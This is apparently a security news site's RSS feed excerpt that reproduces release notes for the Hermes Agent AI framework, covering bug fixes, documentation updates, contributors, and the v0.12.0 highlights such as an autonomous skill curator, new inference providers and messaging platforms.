<li>Fix <code>.strip()</code> crash on None values from YAML config (<a href="https://github.com/NousResearch/hermes-agent/pull/3552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3552/hovercard">#3552</a>)</li>
<li>Fix hung agents on gateway — <code>/stop</code> now hard-kills session lock (<a href="https://github.com/NousResearch/hermes-agent/pull/3104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3104/hovercard">#3104</a>)</li>
<li>Fix <code>_custom</code> provider silently remapped to <code>openrouter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/2792" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2792/hovercard">#2792</a>)</li>
<li>Fix Matrix missing from <code>PLATFORMS</code> dict (<a href="https://github.com/NousResearch/hermes-agent/pull/3473" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3473/hovercard">#3473</a>)</li>
<li>Fix Email adapter unbounded <code>_seen_uids</code> growth (<a href="https://github.com/NousResearch/hermes-agent/pull/3490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3490/hovercard">#3490</a>)</li>
</ul>
<hr>
<h2>🧪 Testing</h2>
<ul>
<li>Pin <code>agent-client-protocol</code> &lt; 0.9 to handle breaking upstream release (<a href="https://github.com/NousResearch/hermes-agent/pull/3320" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3320/hovercard">#3320</a>)</li>
<li>Catch anthropic ImportError in vision auto-detection tests (<a href="https://github.com/NousResearch/hermes-agent/pull/3312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3312/hovercard">#3312</a>)</li>
<li>Update retry-exhaust test for new graceful return behavior (<a href="https://github.com/NousResearch/hermes-agent/pull/3320" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3320/hovercard">#3320</a>)</li>
<li>Add regression tests for null metadata frontmatter (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li>Update all docs for <code>/model</code> command overhaul and custom provider support (<a href="https://github.com/NousResearch/hermes-agent/pull/2800" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2800/hovercard">#2800</a>)</li>
<li>Fix stale and incorrect documentation across 18 files (<a href="https://github.com/NousResearch/hermes-agent/pull/2805" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2805/hovercard">#2805</a>)</li>
<li>Document 9 previously undocumented features (<a href="https://github.com/NousResearch/hermes-agent/pull/2814" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2814/hovercard">#2814</a>)</li>
<li>Add missing skills, CLI commands, and messaging env vars to docs (<a href="https://github.com/NousResearch/hermes-agent/pull/2809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2809/hovercard">#2809</a>)</li>
<li>Fix api-server response storage documentation — SQLite, not in-memory (<a href="https://github.com/NousResearch/hermes-agent/pull/2819" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2819/hovercard">#2819</a>)</li>
<li>Quote pip install extras to fix zsh glob errors (<a href="https://github.com/NousResearch/hermes-agent/pull/2815" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2815/hovercard">#2815</a>)</li>
<li>Unify hooks documentation — add plugin hooks to hooks page, add <code>session:end</code> event (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Clarify two-mode behavior in <code>session_search</code> schema description (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Fix Discord Public Bot setting for Discord-provided invite link (<a href="https://github.com/NousResearch/hermes-agent/pull/3519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3519/hovercard">#3519</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mehmoodosman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mehmoodosman">@mehmoodosman</a></li>
<li>Revise v0.4.0 changelog — fix feature attribution, reorder sections (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></strong> — 157 PRs covering the full scope of this release</li>
</ul>
<h3>Community Contributors</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> (Siddharth Balyan) — 2 PRs: Nix flake with uv2nix build, NixOS module, and persistent container mode (<a href="https://github.com/NousResearch/hermes-agent/pull/20" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20/hovercard">#20</a>); auto-generated config keys and suffix PATHs for Nix builds (<a href="https://github.com/NousResearch/hermes-agent/pull/3061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3061/hovercard">#3061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3274/hovercard">#3274</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctlst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctlst">@ctlst</a></strong> — 1 PR: Prevent AsyncOpenAI/httpx cross-loop deadlock in gateway mode (<a href="https://github.com/NousResearch/hermes-agent/pull/2701" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2701/hovercard">#2701</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a></strong> (memosr.eth) — 1 PR: Add request timeouts to <code>send_message_tool</code> HTTP calls (<a href="https://github.com/NousResearch/hermes-agent/pull/3162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3162/hovercard">#3162</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mehmoodosman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mehmoodosman">@mehmoodosman</a></strong> (Osman Mehmood) — 1 PR: Fix Discord docs for Public Bot setting (<a href="https://github.com/NousResearch/hermes-agent/pull/3519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3519/hovercard">#3519</a>)</li>
</ul>
<h3>All Contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctlst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctlst">@ctlst</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mehmoodosman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mehmoodosman">@mehmoodosman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.3.23...v2026.3.28">v2026.3.23...v2026.3.28</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.12.0 (2026.4.30)]]></title>
<description><![CDATA[Hermes Agent v0.12.0 (v2026.4.30)
Release Date: April 30, 2026
Since v0.11.0: 1,096 commits · 550 merged PRs · 1,270 files changed · 217,776 insertions · 213 community contributors (including co-authors)

The Curator release — Hermes Agent now maintains itself. An autonomous background Curator gr...]]></description>
<link>https://tsecurity.de/de/3488029/downloads/hermes-agent-v0120-2026430/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3488029/downloads/hermes-agent-v0120-2026430/</guid>
<pubDate>Tue, 05 May 2026 03:01:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.12.0 (v2026.4.30)</h1>
<p><strong>Release Date:</strong> April 30, 2026<br>
<strong>Since v0.11.0:</strong> 1,096 commits · 550 merged PRs · 1,270 files changed · 217,776 insertions · 213 community contributors (including co-authors)</p>
<blockquote>
<p>The Curator release — Hermes Agent now maintains itself. An autonomous background Curator grades, prunes, and consolidates your skill library on its own schedule. The self-improvement loop that reviews what to save got a substantial upgrade. Four new inference providers, a 18th messaging platform, a 19th via Teams plugin, native Spotify + Google Meet integrations, ComfyUI and TouchDesigner-MCP moved from optional to bundled-by-default, and a ~57% cut to visible TUI cold start.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Autonomous Curator</strong> — <code>hermes curator</code> runs as a background agent on the gateway's cron ticker (7-day cycle default). It grades your skill library, consolidates related skills, prunes dead ones, and writes per-run reports to <code>logs/curator/run.json</code> + <code>REPORT.md</code>. Archived skills are classified consolidated-vs-pruned via model + heuristic. Defense-in-depth gates protect bundled/hub skills from mutation. Unified under <code>auxiliary.curator</code> — pick the curator's model in <code>hermes model</code>, manage it from the dashboard. <code>hermes curator status</code> ranks skills by usage (most-used / least-used). (<a href="https://github.com/NousResearch/hermes-agent/pull/17277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17277/hovercard">#17277</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17307" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17307/hovercard">#17307</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17941/hovercard">#17941</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17868/hovercard">#17868</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18033/hovercard">#18033</a>)</p>
</li>
<li>
<p><strong>Self-improvement loop — substantially upgraded</strong> — The background review fork (the core of Hermes' self-improvement: after each turn it decides what memories/skills to save or update) is now class-first (rubric-based rather than free-form), active-update biased (prefers the skill the agent just loaded), handles <code>references/</code>/<code>templates/</code> sub-files, and properly inherits the parent's live runtime (provider, model, credentials actually propagate). Restricted to memory + skills toolsets so it can't sprawl. Memory providers shut down cleanly. Prior-turn tool messages excluded from the summary so the fork sees a clean context. (<a href="https://github.com/NousResearch/hermes-agent/pull/16026" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16026/hovercard">#16026</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17213" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17213/hovercard">#17213</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16099/hovercard">#16099</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16569/hovercard">#16569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16204/hovercard">#16204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15057" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15057/hovercard">#15057</a>)</p>
</li>
<li>
<p><strong>Skill integrations — major expansion</strong> — <strong>ComfyUI v5</strong> with official CLI + REST + hardware-gated local install, moved from optional to <strong>built-in by default</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17610/hovercard">#17610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17631/hovercard">#17631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17734/hovercard">#17734</a>). <strong>TouchDesigner-MCP</strong> bundled by default, expanded with GLSL, post-FX, audio, geometry, and 9 new reference docs (<a href="https://github.com/NousResearch/hermes-agent/pull/16753" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16753/hovercard">#16753</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16624/hovercard">#16624</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16768" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16768/hovercard">#16768</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> + <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>). <strong>Humanizer</strong> skill ports a text-cleaner that strips AI-isms (<a href="https://github.com/NousResearch/hermes-agent/pull/16787" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16787/hovercard">#16787</a>). <strong>claude-design</strong> HTML artifact skill + design-md (Google DESIGN.md spec) + airtable salvage + <code>skill_manage</code> edits in <code>external_dirs</code> + direct-URL skill install + <code>/reload-skills</code> slash command. (<a href="https://github.com/NousResearch/hermes-agent/pull/16358" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16358/hovercard">#16358</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/14876" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14876/hovercard">#14876</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16291/hovercard">#16291</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17512/hovercard">#17512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16323" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16323/hovercard">#16323</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17744/hovercard">#17744</a>)</p>
</li>
<li>
<p><strong>LM Studio — first-class provider</strong> — upgraded from a custom-endpoint alias to a full-blown native provider: dedicated auth, <code>hermes doctor</code> checks, reasoning transport, live <code>/models</code> listing. (Salvage of <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344160673" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17061/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17061">#17061</a>.) (<a href="https://github.com/NousResearch/hermes-agent/pull/17102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17102/hovercard">#17102</a>)</p>
</li>
<li>
<p><strong>Four more new inference providers</strong> — <strong>GMI Cloud</strong> (first-class, salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286662004" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/11955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/11955/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/11955">#11955</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaachuangGMICLOUD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaachuangGMICLOUD">@isaachuangGMICLOUD</a>), <strong>Azure AI Foundry</strong> with auto-detection, <strong>MiniMax OAuth</strong> with PKCE browser flow (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4323780002" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15203/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15203">#15203</a>), <strong>Tencent Tokenhub</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341143946" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16860/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16860">#16860</a>). (<a href="https://github.com/NousResearch/hermes-agent/pull/16663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16663/hovercard">#16663</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15845/hovercard">#15845</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17524" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17524/hovercard">#17524</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16960" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16960/hovercard">#16960</a>)</p>
</li>
<li>
<p><strong>Pluggable gateway platforms + Microsoft Teams</strong> — the gateway is now a plugin host. Drop-in messaging adapters live outside the core, and Microsoft Teams is the first plugin-shipped platform. (Salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354380493" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17664/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17664">#17664</a>.) (<a href="https://github.com/NousResearch/hermes-agent/pull/17751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17751/hovercard">#17751</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17828/hovercard">#17828</a>)</p>
</li>
<li>
<p><strong>Tencent 元宝 (Yuanbao) — 18th messaging platform</strong> — native gateway adapter with text + media delivery. (<a href="https://github.com/NousResearch/hermes-agent/pull/16298" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16298/hovercard">#16298</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17424/hovercard">#17424</a>)</p>
</li>
<li>
<p><strong>Spotify — native tools + bundled skill + wizard</strong> — 7 tools (play, search, queue, playlists, devices) behind PKCE OAuth, interactive setup wizard, bundled skill, surfacing in <code>hermes tools</code>, cron usage documented. (<a href="https://github.com/NousResearch/hermes-agent/pull/15121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15121/hovercard">#15121</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15130/hovercard">#15130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15154/hovercard">#15154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15180/hovercard">#15180</a>)</p>
</li>
<li>
<p><strong>Google Meet plugin</strong> — join calls, transcribe, speak, follow up. Realtime OpenAI transport + Node bot server, full pipeline bundled as a plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/16364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16364/hovercard">#16364</a>)</p>
</li>
<li>
<p><strong><code>hermes -z</code> one-shot mode + <code>hermes update --check</code></strong> — non-interactive <code>hermes -z &lt;prompt&gt;</code> with <code>--model</code>/<code>--provider</code>/<code>HERMES_INFERENCE_MODEL</code>. <code>hermes update --check</code> preflight. Opt-in pre-update HERMES_HOME backup. (<a href="https://github.com/NousResearch/hermes-agent/pull/15702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15702/hovercard">#15702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15704/hovercard">#15704</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15841" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15841/hovercard">#15841</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16539/hovercard">#16539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16566" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16566/hovercard">#16566</a>)</p>
</li>
<li>
<p><strong>Models dashboard tab + in-browser model config</strong> — rich per-model analytics, switch main + auxiliary models from the dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/17745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17745/hovercard">#17745</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17802" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17802/hovercard">#17802</a>)</p>
</li>
<li>
<p><strong>Remote model catalog manifest</strong> — OpenRouter + Nous Portal model catalogs are now pulled from a remote manifest so new models show up without a release. (<a href="https://github.com/NousResearch/hermes-agent/pull/16033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16033/hovercard">#16033</a>)</p>
</li>
<li>
<p><strong>Native multimodal image routing</strong> — images now route based on the model's actual vision capability rather than provider defaults. (<a href="https://github.com/NousResearch/hermes-agent/pull/16506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16506/hovercard">#16506</a>)</p>
</li>
<li>
<p><strong>Gateway media parity</strong> — native multi-image sending across Telegram, Discord, Slack, Mattermost, Email, and Signal; centralized audio routing with FLAC support + Telegram document fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/17909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17909/hovercard">#17909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17833" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17833/hovercard">#17833</a>)</p>
</li>
<li>
<p><strong>TUI catches up to (and past) the classic CLI</strong> — LaTeX rendering (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>), <code>/reload</code> .env hot-reload, pluggable busy-indicator styles (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304012946" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/13610" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/13610/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/13610">#13610</a>), opt-in auto-resume of last session, expanded light-terminal auto-detection, session delete from <code>/resume</code> picker with <code>d</code>, modified mouse-wheel line scroll, and a <code>/mouse</code> toggle that kills ConPTY's phantom mouse injection (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevin-ho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevin-ho">@kevin-ho</a>). (<a href="https://github.com/NousResearch/hermes-agent/pull/17175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17175/hovercard">#17175</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17286/hovercard">#17286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17150" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17150/hovercard">#17150</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17130/hovercard">#17130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17113/hovercard">#17113</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17668" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17668/hovercard">#17668</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17669/hovercard">#17669</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15488/hovercard">#15488</a>)</p>
</li>
<li>
<p><strong>Observability + achievements plugins</strong> — bundled Langfuse observability plugin (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340873858" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16845/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16845">#16845</a>) + bundled hermes-achievements plugin that scans full session history. (<a href="https://github.com/NousResearch/hermes-agent/pull/16917" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16917/hovercard">#16917</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17754" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17754/hovercard">#17754</a>)</p>
</li>
<li>
<p><strong>TTS provider registry + Piper local TTS</strong> — pluggable <code>tts.providers.&lt;name&gt;</code> registry; Piper ships as a native local TTS provider. (Closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248924949" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8508" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/8508/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/8508">#8508</a>.) (<a href="https://github.com/NousResearch/hermes-agent/pull/17843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17843/hovercard">#17843</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17885" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17885/hovercard">#17885</a>)</p>
</li>
<li>
<p><strong>Vercel Sandbox backend</strong> — Vercel sandboxes as an execute_code/terminal backend (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>). (<a href="https://github.com/NousResearch/hermes-agent/pull/17445" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17445/hovercard">#17445</a>)</p>
</li>
<li>
<p><strong>Secret redaction off by default</strong> — default flipped to off. Prevents the long-standing patch-corruption incidents where fake secret-shaped substrings mangled tool outputs. Opt in via <code>redaction.enabled: true</code> when you need it. (<a href="https://github.com/NousResearch/hermes-agent/pull/16794" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16794/hovercard">#16794</a>)</p>
</li>
<li>
